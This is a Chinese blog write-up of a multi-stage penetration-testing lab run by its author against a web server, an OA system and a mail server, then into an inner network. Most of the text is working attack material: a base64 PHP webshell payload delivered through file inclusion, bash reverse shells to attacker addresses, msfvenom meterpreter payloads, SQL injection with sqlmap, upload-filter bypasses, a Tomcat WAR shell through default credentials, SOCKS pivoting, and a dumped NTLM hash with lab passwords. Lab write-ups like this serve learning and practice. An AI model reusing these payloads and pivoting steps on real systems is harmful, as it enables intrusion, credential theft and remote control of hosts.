记一次自摸的综合靶场
Lastmod: 2023-04-30

超长文慎点。靶场说大不大,就是搞了三天,一是网速,二是网速,三是网速的原因,还有就是经验的原因。至今未完,70分。

拓扑.png

WEB服务

当前攻击机Kali,在192.168.11.0/24网段,有一台192.168.11.4的网站服务器。

11_4_Web_index.png

浏览中,发现地址栏明显的标志 http://http://192.168.11.3/index.php?page=about.php,文件包含无疑。

11_4_Web_file_include.png

遂,攻击机制作一句话木马;其实还可以地址栏直接输入:

http://192.168.11.3/index.php?page=data:text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbYV0pOyAgPz4=

payload_on_11_3.png

成功验证,getwebshell。

11_4_Web_file_include_get_webshell.png

得到flag1

11_4_Web_get_flag1.png

先反弹靶机的shell,蚁剑-虚拟终端输入:

bash -i >& /dev/tcp/192.168.11.2/8000 0>&1

攻击机接收shell:

nc -lvvp 8000

11_4_reverse_shell.png

提权,遇坑(模拟终端的shell是一次性的,Exp提权请先反弹shell)。没事,接着,上传文件到有读写执行权限的位置,/var/www/html/upload/tmp 等。

11_4_upload_exp.png

根据 phpinfo()uname -a 获知linux内核版本,上传对应可用 Exp 提权。

11_4_upgrade_privilge.png

获得flag2

11_4_Web_get_flag2.png

后续渗透,查看主机的网卡,多网卡就是边界机/跳板。

11_4_Web_eth0_172_16_12_0_24.png

OA服务

向新发现网段 172.16.12.0/24,继续进发,此时搭建一个代理再去做网段扫描。

先配置Socks代理到攻击机,此处可以使用 reGeorgSocksProxy配套工具

  1. 上传tunnel.php脚本到靶机 192.167.11.3 网站目录上

  2. 攻击机开启Sock5代理,绑定到1080端口

    python reGeorgSocksProxy.py -u http://192.168.11.3/upload/tunnel.php -p 1080
    

但这里是使用了EarthWorm做Socks5

./ew -s ssocked -l 1080

接着,配置proxychains,添加记录 socks5 192.168.11.3 1080

172.16.12.0/24 网段扫描,注意,Socks协议在会话层,ICMP协议在网络层,所以nmap配置不要ping扫描存活主机,这里使用TCP扫描。

nmap -sT -Pn -n 172.16.12.0/24

发现 172.16.12.103172.16.12.104 主机,一个是OA系统,一个是邮箱系统。先对OA系统进行渗透。

F12 观察数据包,发现 message.php?id=1 有可疑

12_103_oa_sql_inject_find.png

单引号、逻辑判断等常规测试后,确认是数字型UNION注入

12_103_oa_sql_inject_union.png

使用sqlmap,dump所有的表。获得flag3

还有一个admin账户密码,md5解密,竟然要收费,灵机一动,直接google这个md5。

ok,有博客分享出来了,MD5 =>29acd667cdbee1116d365727ca6821d3,明文=>37s984pass,没看出特殊含义,能解出来就好吧。

12_103_oa_flag3.png

有管理员表,多数有后台页面,是的,就在admin目录。

登录进去,发现有上传点,尝试直接上传一句话。

12_103_oa_admin_file_upload.png

成功上传,Webshell get it.

12_103_oa_get_webshell.png

连接蚁剑,记得先添加代理。

12_103_oa_get_webshell_antsword.png

得到flag4

12_103_oa_flag4.png

然后查看网页配置文件,发现数据库账号密码(其实已经没有大作用,先前已经扫荡过了),主要是发现一个邮箱账号密码,与后续的邮件网站有关。

12_103_oa_sql_infor.png

邮件服务

顺利利用邮箱账户=> zhangming@test.com 密码=> fgpass2814登录。

花了不少时间发现的漏洞,Cookie的id值与个人信息挂钩。

12_104_mail_cookie_injection.png

Burpsuit Repeat,确认注入。

12_104_mail_cookie_injection_confirm.png

Sqlmap进一步利用

12_104_mail_cookie_injection_sqlmap.png

同理,找到admin表 MD5=>22f2e5ec0bf4b85554c755993e2ba67f ,明文=>2_333admin,疑惑的是,没看到有flag。

接着找管理后台路径,例如 admin/Admin/User/System/Manage等,ok,找到的是manage目录。

这里同样,有文件上传功能。

12_104_mail_manage_file_upload.png

一开始,发现有图片内容检测,合成图片马。

cat a.png a.php > shell.php

php后缀上传不了有点懵(php后缀名没绕过,但却以为是白名单过滤,截断、小数点结尾都尝试了)。等反应过来,上传随意后缀成功了才发现,其实是黑名单机制,遂使用php5绕过。

12_104_mail_manage_file_upload_php5.png

小结:确定好文件上传测试流程!

Webshell get it.

12_104_mail_manage_get_webshell.png

问题:邮箱是关键,关键flag5在哪??

连接蚁剑,在网站目录找到flag6

数据库账户 MyDB(“127.0.0.1”,“mail”,“mail123456”,“my_mail”);

接着提权,本来打算上传Ubuntu3.16有效的Exp到 upload目录执行,但是提示 no such file or directory,搜索一下问题,大概就是Exp的架构跟Linux架构位数不一样或者其他问题。

偶然间,浏览的/var目录,发现tomcat,这听闻是高权限应用!头次遇上了!

12_104_mail_tomcat_found.png

查看netstat,感觉Web服务部署在8080端口

12_104_mail_tomcat_port.png

之后马上学习tomcat的目录结构。主要用到这两个目录:conf(Tomcat配置文件)、 webapps(Tomcat的主要Web发布目录,存放JSP,SERVLET,类)。

看到 webapps/manager 目录,尝试访问,需要登录认证,但有提示,账户密码可以在conf/web-user.xml查看。

12_104_mail_tomcat_conf_tomcat_user.png

这应该是默认配置:tomcat/tomcat。

12_104_mail_tomcat_conf_tomcat_user_password.png

成功登录,进入后台。

可以看到该网站下发布的应用。看到上传应用接口,制作一句话的war包

12_104_mail_tomcat_jar_war.png

后来用了Cknife的1.jsp又打包了一个shell.war。上传成功后,得到一句话的地址

12_104_mail_tomcat_upload_war.png

连接Cknife,因为我的刀版本低,不支持代理,所以 JVM运行时配置Socks代理,选项会默认端口1080

java -DsocksProxyHost=192.168.11.3 -jar Cknife.jar

cat /root/flag 得到 flag7

12_104_mail_tomcat_shell_flag7.png

现在就可以反弹出一个root权限的shell,反弹到WEB服务器172.16.12.102。ubuntu低版本sh对bash有点兼容问题,搜了一下,将bash反弹语句作了改进。

bash -c 'bash -i 1>&/dev/tcp/172.16.12.102/8104 0>&1'

还发现了新网段 10.15.0.0/24

12_104_mail_multi_eth1.png

代理必须的!

于是我开始了一系列坚强不屈的操作,硬是含泪地把mail服务器Socks代理了出来。

12_104_mail_proxy_socks.png

但是,

后知后觉

在多次因误操作断开了反弹shell后,忽然醒觉,为什么不早点用MSF??补救……

制作反弹木马,上传到WEB服务器,在之前的反弹shell里执行(希望最后一次用反弹的shell),kali获得反弹的meterpreter

msfvenom -l payload |grep meterpreter |grep linux|grep x64
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.11.2 lport=7000 -f elf -o r7000

msfvenom_l_payload_meterpreter_x64_linux.png

msf 设置payload,等待连接

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.11.2
set lport 7000
exploit -z -j

msf_meterpreter_reverse_tcp_on_web_and_route_add.png

成功后,进入web服务器的meterpreter,添加路由

run autoroute -s 172.16.12.0/24
run autoroute -p

添加了路由,就可据WEB服务器的路由规则访问mail服务器。

再对mail服务器制作bind_tcp(因为现在可以主动连接它啊!这个觉悟又是半天,之前先入为主固化了思维,只想着反弹)木马

msfvenom -p linux/x64/meterpreter/bind_tcp lport=7000 -f elf -o b7000

Cknife上传,执行b7000,即在mail服务器上开启监听。

msf 主动连接

set payload linux/x64/meterpreter/bind_tcp
set rhost 172.16.12.104
set rport 7000
exploit -z -j

msf_meterpreter_bind_tcp_7000_on_mail.png

成功收到meterpreter session,再进入session 添加 10.15.0.0/24 的路由

run autoroute -s 10.15.0.0/24
run autoroute -p

msf_route_autoroute.png

坐拥两个路由,暂时在MSF内对内网下畅行无阻。但我想kali其它应用也可以用上,于是添加socks4代理,默认绑定在本地 0.0.0.0:1080

use auxiliary/server/socks4a
run

msf_auxiliary_server_socks4a.png

配置好proxychains,添加 socks4 127.0.0.1 1080 。这时,该对新网段做一次存活主机扫描了

proxychains nmap -sT -sV -Pn -O -n 10.15.0.0/24

30min后……

我Ctrl+C了,因为它告诉我,完成了5%

我只好根据mail主机上的arp记录,先确定了10.15.0.1、10.15.0.3 两台主机

卡死。后会有期。

继续渗透

大家好,我已经没什么心机了。但却也更轻车熟路地,重复还原到这一步,再Fuzz。

flag8

发现10.15.0.4的远程桌面登录,使用admin\2_333admin登录成功。

提权,查看管理员桌面,获得flag9

flag9

获得10.15.0.4的meterpreter,hashdump,有一管理员Hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe6ba371645ed310bc9fac913c75cd6::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

未完待续。

补充小结

kill & ps & netstat -anotp

为什么学会了kill,因为反弹shell、ew等等进程反复开开关关太多次了

  • 法子1:通过jobs命令查看job号(假设为num),然后执行kill %num
  • 法子2:通过ps命令查看job的进程号(PID,假设为pid),然后执行kill pid

ping次数

ping -c 4 192.168.16.6

x86_64 ?

蘋果公司和RPM套件管理員以「x86-64」或「x86_64」稱呼此64位架構。 甲骨文公司及Microsoft稱之為「x64」。 BSD家族及其他Linux發行版則使用「amd64」,32位元版本則稱為「i386」(或i486/586/686),Arch Linux用x86_64稱呼此64位元架構。

nmap & proxychains

nmap扫描前,默认先ping扫描确认存活主机,而socks代理不支持icmp协议代理的,所以 -Pn 停用ping扫描,-n 表示直接使用IP地址,不进行DNS查询,-sV 查询软件版本 -O 查询系统型号,nmap使用指南

proxychains nmap -sT -sV -Pn -n 10.15.0.0/24

nc

在没会用这个之前,研究起了Linux必备的nc,逐个逐个IP去扫

nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded  

-v 选项产生的输出位于【stderr】,所以 2>&1 把【stderr】合并到【stdout】

其实我也没这么有耐心,写了个for循环脚本。其实也没什么用。

#!/bin/bash
for i in {1..255}
do
	nc -znv 10.15.0.$i 1-1000 2>&1|grep succ
done

msfdb

开启msfconsole后,用到 db_nmap,需要数据库支持,但并不想退出msfconsole

不知道msf 默认数据库账号,就直接新建数据库用户和数据库并连接

root@kali:~# su postgres 
postgres@kali:/root$ createuser msf4 -P
为新角色输入的口令: 
再输入一遍: 
postgres@kali:/root$ createdb --owner=msf4 msf4
postgres@kali:/root$ exitsh
msf > db_connect msf4:pass@127.0.0.1/msf4
msf > db_status 

参考阅读

Metasploit渗透技巧:后渗透Meterpreter代理